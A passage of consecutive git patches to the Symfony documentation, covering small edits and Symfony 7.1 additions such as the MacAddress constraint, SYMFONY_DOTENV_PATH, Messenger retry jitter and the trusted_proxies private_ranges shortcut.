+    methods were introduced in Symfony 7.1.
+
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
 

From 773cb0fe77506310c8e6c282e591bb896a09ac11 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Feb 2023 00:55:18 +0100
Subject: [PATCH 4250/5766] [Mailer] Switching to new config format

---
 mailer.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4099724a68f..1b3e66f2aff 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -55,14 +55,10 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 
         // config/packages/mailer.php
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->extension('framework', [
-                'mailer' => [
-                    'dsn' => env('MAILER_DSN'),
-                ],
-            ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
 .. caution::

From 50a296fc648774e3cab0c60331f664727424fcb7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 11:24:51 +0100
Subject: [PATCH 4251/5766] Minor tweak

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index 96dda1e149d..6e69e36a610 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -180,7 +180,7 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
-Some UUID versions support being converted from one version to another::
+You can also convert some UUID versions to others::
 
     // convert V1 to V6 or V7
     $uuid = Uuid::v1();

From 8cb124618ae25d6cd712e552f7e5bb2295ba5435 Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Tue, 2 Jan 2024 14:56:34 +0100
Subject: [PATCH 4252/5766] [Doctrine] Fix #[MapEntity(expr: '...')]

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e1d91969e92..b3e202f5792 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -751,13 +751,13 @@ the default convention.
 
 If you need to get other information from the request to query the database, you
 can also access the request in your expression thanks to the ``request``
-variable. Let's say you pass the page limit of a list in a query parameter::
+variable. Let's say you want the first or the last comment of a product depending on a query parameter named ``sort``::
 
     #[Route('/product/{id}/comments')]
     public function show(
         Product $product,
-        #[MapEntity(expr: 'repository.findBy(["product_id" => id], null, request.query.get("limit", 10)')]
-        iterable $comments
+        #[MapEntity(expr: 'repository.findOneBy({"product": id}, {"createdAt": request.query.get("sort", "DESC")})')]
+        Comment $comment
     ): Response {
     }
 

From dd092c76bb6e8a5064aae83bc6d1dee0e3a0789b Mon Sep 17 00:00:00 2001
From: Sarim Khan <sarim2005@gmail.com>
Date: Wed, 3 Jan 2024 01:29:46 +0600
Subject: [PATCH 4253/5766] [Encore] Update note instructing users to upgrade
 symfony-cli for node.js 17+ tls compatibility

---
 frontend/encore/dev-server.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 5112b99448d..d9b168cd4ed 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -77,12 +77,9 @@ server SSL certificate:
 
 .. note::
 
-    If you are using Node.js 17 or newer, you have to run the ``dev-server`` command with the
-    ``--openssl-legacy-provider`` option:
+    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error, the certificate file might be generated by an old version of **symfony-cli**. Upgrade **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file, and start symfony server again.
 
-    .. code-block:: terminal
-
-        $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
+    This generates a new ``default.p12`` file suitable for use with recent Node.js versions.
 
 CORS Issues
 -----------

From 84b6de9dc1e9e777e0d94feb12c6cf46c7324fc7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Jan 2024 13:05:17 +0100
Subject: [PATCH 4254/5766] -

---
 frontend/encore/dev-server.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index d9b168cd4ed..0755f452271 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -13,10 +13,10 @@ This builds and serves the front-end assets from a new server. This server runs
 This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
-you're done: the paths in your templates will automatically point to the dev server.
+As a consequence, the ``link`` and ``script`` tags need to point to the new server.
+If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
+Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
+in some other way), you're done: the paths in your templates will automatically point to the dev server.
 
 dev-server Options
 ------------------

From 84d8bde669347496d203ad8a01e5f39d732f88d1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Jan 2024 13:05:57 +0100
Subject: [PATCH 4255/5766] -

---
 frontend/encore/dev-server.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 0755f452271..b509b68246f 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -77,7 +77,10 @@ server SSL certificate:
 
 .. note::
 
-    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error, the certificate file might be generated by an old version of **symfony-cli**. Upgrade **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file, and start symfony server again.
+    If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error,
+    the certificate file might be generated by an old version of **symfony-cli**. Upgrade
+    **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file,
+    and start symfony server again.
 
     This generates a new ``default.p12`` file suitable for use with recent Node.js versions.
 

From c9ff43ee840cfdea207b315a83c44f35ce221961 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 09:06:43 +0100
Subject: [PATCH 4256/5766] [Dotenv] Add `SYMFONY_DOTENV_PATH`

---
 configuration.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 5ab7d5e2c27..4efc7d73bd9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -932,6 +932,28 @@ get the environment variables and will not spend time parsing the ``.env`` files
     Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
+Store Environment Variables In Another File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the environment variables are stored in the ``.env`` file located
+at the root of your project. However, you can store them in another file by
+setting the ``SYMFONY_DOTENV_PATH`` environment variable to the path and
+filename of the file where the environment variables are stored. Symfony will
+then look for the environment variables in that file, but also in the local
+and environment-specific files (e.g. ``.*.local`` and
+``.*.<environment>.local``). You can find more information about this
+in the :ref:`dedicated section <configuration-multiple-env-files>`.
+
+Because this environment variable is used to find the files where you
+application environment variable are store, it must be defined at the
+system level (e.g. in your web server configuration) and not in the
+``.env`` files.
+
+.. versionadded:: 7.1
+
+    The support for the ``SYMFONY_DOTENV_PATH`` environment variable was
+    introduced in Symfony 7.1.
+
 .. _configuration-secrets:
 
 Encrypting Environment Variables (Secrets)

From eab9ad05f2ac9cb21d28a71076633466e75d7065 Mon Sep 17 00:00:00 2001
From: Sarah-eit <111879236+Sarah-eit@users.noreply.github.com>
Date: Wed, 3 Jan 2024 15:10:46 +0100
Subject: [PATCH 4257/5766] Update controller.rst

Delete the extra parenthesis
---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 21b7ccfdf81..e63a913fa07 100644
--- a/controller.rst
+++ b/controller.rst
@@ -761,7 +761,7 @@ Technically, Early Hints are an informational HTTP response with the status code
 status code and sends its headers immediately.
 
 This way, browsers can start downloading the assets immediately; like the
-``style.css`` and ``script.js`` files in the above example). The
+``style.css`` and ``script.js`` files in the above example. The
 ``sendEarlyHints()`` method also returns the ``Response`` object, which you
 must use to create the full response sent from the controller action.
 

From e926d7cec47260fc30d8edb5d9fd659c43810b58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Jan 2024 17:58:46 +0100
Subject: [PATCH 4258/5766] Minor reword

---
 configuration.rst | 34 ++++++++++++++++++----------------
 1 file changed, 18 insertions(+), 16 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2d02d77c771..078ec57b49f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -932,27 +932,29 @@ get the environment variables and will not spend time parsing the ``.env`` files
     Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
-Store Environment Variables In Another File
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Storing Environment Variables In Other Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the environment variables are stored in the ``.env`` file located
-at the root of your project. However, you can store them in another file by
-setting the ``SYMFONY_DOTENV_PATH`` environment variable to the path and
-filename of the file where the environment variables are stored. Symfony will
-then look for the environment variables in that file, but also in the local
-and environment-specific files (e.g. ``.*.local`` and
-``.*.<environment>.local``). You can find more information about this
-in the :ref:`dedicated section <configuration-multiple-env-files>`.
-
-Because this environment variable is used to find the files where you
-application environment variable are store, it must be defined at the
-system level (e.g. in your web server configuration) and not in the
-``.env`` files.
+at the root of your project. However, you can store them in other file by
+setting the ``SYMFONY_DOTENV_PATH`` environment variable to the absolute path of
+that custom file.
+
+Symfony will then look for the environment variables in that file, but also in
+the local and environment-specific files (e.g. ``.*.local`` and
+``.*.<environment>.local``). Read
+:ref:`how to override environment variables <configuration-multiple-env-files>`
+to learn more about this.
+
+.. caution::
+
+    The ``SYMFONY_DOTENV_PATH`` environment variable must be defined at the
+    system level (e.g. in your web server configuration) and not in any default
+    or custom ``.env`` file.
 
 .. versionadded:: 7.1
 
-    The support for the ``SYMFONY_DOTENV_PATH`` environment variable was
-    introduced in Symfony 7.1.
+    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.
 
 .. _configuration-secrets:
 

From 6c69f1aeaa8347e78f0bd2ebb8d2dde9d52c1c4f Mon Sep 17 00:00:00 2001
From: Valentin GRAGLIA <57661266+Valentin-CosaVostra@users.noreply.github.com>
Date: Thu, 4 Jan 2024 16:36:58 +0100
Subject: [PATCH 4259/5766] Update Choice.rst

Add missing semicolon
---
 reference/constraints/Choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index ebf0efaaff7..de7b3052a2a 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -250,7 +250,7 @@ you can pass the class name and the method as an array.
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use App\Entity\Genre
+        use App\Entity\Genre;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author

From de4d7d274716494e41e9e2061156affb2849dc8d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 5 Jan 2024 18:09:47 +0100
Subject: [PATCH 4260/5766] [Serializer] Fix encoder options

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 6267f1d874e..d655af1693a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1047,8 +1047,8 @@ Option                           Description
 ===============================  ==========================================================================================================  ================================
 ``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
 ``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 

From 597a0886e03b9a68560aa82e76465e1c6acfc444 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:12:41 +0100
Subject: [PATCH 4261/5766] [Validator] Add  constraint

---
 reference/constraints/MacAddress.rst | 104 +++++++++++++++++++++++++++
 reference/constraints/map.rst.inc    |   1 +
 2 files changed, 105 insertions(+)
 create mode 100644 reference/constraints/MacAddress.rst

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
new file mode 100644
index 00000000000..e13420bd832
--- /dev/null
+++ b/reference/constraints/MacAddress.rst
@@ -0,0 +1,104 @@
+MacAddress
+==========
+
+.. versionadded:: 7.1
+
+    The ``MacAddress`` constraint was introduced in Symfony 7.1.
+
+This constraint ensures that the given value is a valid MAC address (internally it
+uses the ``FILTER_VALIDATE_MAC`` option of the :phpfunction:`filter_var` PHP
+function).
+
+==========  =====================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\MacAddress`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\MacAddressValidator`
+==========  =====================================================================
+
+Basic Usage
+-----------
+
+To use the MacAddress validator, apply it to a property on an object that
+will contain a host name.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\MacAddress]
+            protected string $mac;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                mac:
+                    - MacAddress: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="max">
+                    <constraint name="MacAddress"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('mac', new Assert\MacAddress());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This is not a valid MAC address.``
+
+This is the message that will be shown if the value is not a valid MAC address.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter            Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+.. include:: /reference/constraints/_normalizer-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index a9692062d28..690e98c6bf9 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -32,6 +32,7 @@ String Constraints
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 * :doc:`Charset </reference/constraints/Charset>`
+* :doc:`MacAddress </reference/constraints/MacAddress>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From c11a4310fcd4c4c2c4e8af4354b4ae594c535478 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:48:46 +0100
Subject: [PATCH 4262/5766] [Uid] Add AbstractUid::toString()

---
 components/uid.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 6e69e36a610..e8f2f599573 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -179,6 +179,11 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+    $uuid->toString();  // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
+
+.. versionadded:: 7.1
+
+    The ``toString()`` method was introduced in Symfony 7.1.
 
 You can also convert some UUID versions to others::
 

From 0ac3068bb9c905bf0233da835d498c900b2992e4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 6 Jan 2024 12:29:15 +0100
Subject: [PATCH 4263/5766] [FrameworkBundle] add a private_ranges shortcut for
 trusted_proxies

---
 deployment/proxies.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index e846f95a808..2ebb1bb6a8f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -33,6 +33,8 @@ and what headers your reverse proxy uses to send information:
             # ...
             # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            # shortcut for private IP address ranges of your proxy
+            trusted_proxies: 'private_ranges'
             # trust *all* "X-Forwarded-*" headers
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
             # or, if your proxy instead uses the "Forwarded" header
@@ -53,6 +55,8 @@ and what headers your reverse proxy uses to send information:
             <framework:config>
                 <!-- the IP address (or range) of your proxy -->
                 <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+                <!-- shortcut for private IP address ranges of your proxy -->
+                <framework:trusted-proxies>private_ranges</framework:trusted-proxies>
 
                 <!-- trust *all* "X-Forwarded-*" headers -->
                 <framework:trusted-header>x-forwarded-for</framework:trusted-header>
@@ -75,6 +79,8 @@ and what headers your reverse proxy uses to send information:
             $framework
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // shortcut for private IP address ranges of your proxy
+                ->trustedProxies('private_ranges')
                 // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
                 ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
                 // or, if your proxy instead uses the "Forwarded" header
@@ -82,6 +88,11 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
+.. versionadded:: 7.1
+
+    ``private_ranges`` as a shortcut for private IP address ranges for the
+    `trusted_proxies` option was introduced in Symfony 7.1.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the

From d6e3cf99d576f5443a5457f3e6b5f348183089f0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 6 Jan 2024 17:45:04 +0100
Subject: [PATCH 4264/5766] -

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 2ebb1bb6a8f..6d2b4e7bd52 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -91,7 +91,7 @@ and what headers your reverse proxy uses to send information:
 .. versionadded:: 7.1
 
     ``private_ranges`` as a shortcut for private IP address ranges for the
-    `trusted_proxies` option was introduced in Symfony 7.1.
+    ``trusted_proxies`` option was introduced in Symfony 7.1.
 
 .. caution::
 

From a7e57059acc12854419455b457a0cabd4cef7c41 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 7 Jan 2024 18:00:53 +0100
Subject: [PATCH 4265/5766] [#18757] fix merge

---
 routing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 941c074cb0d..402a26e09e9 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2610,7 +2610,6 @@ defined as attributes:
         controllers:
             resource: '../../src/Controller/'
             type: attribute
-            defaults:
             schemes: [https]
 
     .. code-block:: xml

From 2bfe5da40ec0fdea23ecdb0426810fb30e8441f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 15 Feb 2023 22:20:59 +0100
Subject: [PATCH 4266/5766] Adapt CsvEncode no_headers context

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f6b2048a6bb..d35051ddf5d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1104,7 +1104,8 @@ Option                  Description                                            D
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
-``no_headers``          Disables header in the encoded CSV                     ``false``
+``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
+                        ``true`` generate numeric headers.
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 

From dc1854310e8a4d4675cbb75dc994add35d02d682 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rokas=20Mikalk=C4=97nas?= <rokas@mikalkenas.lt>
Date: Mon, 8 Jan 2024 07:36:00 +0200
Subject: [PATCH 4267/5766] [Messenger] Add jitter parameter to
 MultiplierRetryStrategy

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4b218d7c286..fbf0933f1be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -986,6 +986,8 @@ this is configurable for each transport:
                             # e.g. 1 second delay, 2 seconds, 4 seconds
                             multiplier: 2
                             max_delay: 0
+                            # applies randomness to the delay that can prevent the thundering herd effect
+                            jitter: 0.1
                             # override all of this with a service that
                             # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
                             # service: null
@@ -1005,7 +1007,7 @@ this is configurable for each transport:
             <framework:config>
                 <framework:messenger>
                     <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority">
-                        <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0"/>
+                        <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0" jitter="0.1"/>
                     </framework:transport>
                 </framework:messenger>
             </framework:config>
@@ -1030,6 +1032,8 @@ this is configurable for each transport:
                     // e.g. 1 second delay, 2 seconds, 4 seconds
                     ->multiplier(2)
                     ->maxDelay(0)
+                    // applies randomness to the delay that can prevent the thundering herd effect
+                    ->jitter(0.1)
                     // override all of this with a service that
                     // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
                     ->service(null)

From e72beecb26dbccb06bb49ef8af7c77ee5ed7fce9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 8 Jan 2024 09:35:23 +0100
Subject: [PATCH 4268/5766] use PHP 8.2 for Symfony 7 builds

We were actually never running our test application with Symfony 7.0/7.1
as our CI config prevented Symfony 7 components to be installed:

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires symfony/asset * -> satisfiable by symfony/asset[7.1.x-dev].
    - symfony/asset 7.1.x-dev requires php >=8.2 -> your php version (8.1.27) does not satisfy that requirement.
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af2ea3a28a7..c9eb6ae7b38 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -90,7 +90,7 @@ jobs:
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
             with:
-                php-version: 8.1
+                php-version: 8.2
                 coverage: none
 
           - name: Fetch branch from where the PR started

From 9fc538bf61f6e0d0932e1fcb4ddf853975aa8e3d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jan 2024 09:48:40 +0100
Subject: [PATCH 4269/5766] Minor tweak

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index fbf0933f1be..5f376ffbb31 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -987,6 +987,7 @@ this is configurable for each transport:
                             multiplier: 2
                             max_delay: 0
                             # applies randomness to the delay that can prevent the thundering herd effect
+                            # the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted
                             jitter: 0.1
                             # override all of this with a service that
                             # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
@@ -1033,6 +1034,7 @@ this is configurable for each transport:
                     ->multiplier(2)
                     ->maxDelay(0)
                     // applies randomness to the delay that can prevent the thundering herd effect
+                    // the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted
                     ->jitter(0.1)
                     // override all of this with a service that
                     // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
@@ -1040,6 +1042,10 @@ this is configurable for each transport:
             ;
         };
 
+.. versionadded:: 7.1
+
+    The ``jitter`` option was introduced in Symfony 7.1.
+
 .. tip::
 
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`

From 5dcaa08af2484f5ce2a3e7604433d216ffb04487 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 8 Jan 2024 09:59:28 +0100
Subject: [PATCH 4270/5766] update default message

---
 reference/constraints/MacAddress.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index e13420bd832..952412c4061 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -87,7 +87,7 @@ Options
 ``message``
 ~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``This is not a valid MAC address.``
+**type**: ``string`` **default**: ``This value is not a valid MAC address.``
 
 This is the message that will be shown if the value is not a valid MAC address.
 

From 26ca6ea010e453a8cfe6c6eb74d5a014a33b08fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jan 2024 11:03:52 +0100
Subject: [PATCH 4271/5766] [Validator] Added a link in a constraint
 description

---
 reference/constraints/MacAddress.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index e13420bd832..cff74936c29 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -5,7 +5,7 @@ MacAddress
 
     The ``MacAddress`` constraint was introduced in Symfony 7.1.
 
-This constraint ensures that the given value is a valid MAC address (internally it
+This constraint ensures that the given value is a valid `MAC address`_ (internally it
 uses the ``FILTER_VALIDATE_MAC`` option of the :phpfunction:`filter_var` PHP
 function).
 
@@ -102,3 +102,5 @@ Parameter            Description
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From e2b7dad0060d83cee94d27798d3390a5d858d146 Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Mon, 8 Jan 2024 12:11:15 +0100
Subject: [PATCH 4272/5766] [Security] fix getUser function link

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 65f83942432..9dafd16a883 100644
--- a/security.rst
+++ b/security.rst
@@ -1097,7 +1097,7 @@ token (or whatever you need to return) and return the JSON response:
 
     The ``#[CurrentUser]`` can only be used in controller arguments to
     retrieve the authenticated user. In services, you would use
-    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
+    :method:`Symfony\\Bundle\\SecurityBundle\\Security::getUser`.
 
 That's it! To summarize the process:
 

From 47e0be071d55b58026214d4ebc3177b52d4fb364 Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Mon, 8 Jan 2024 23:03:32 +0100
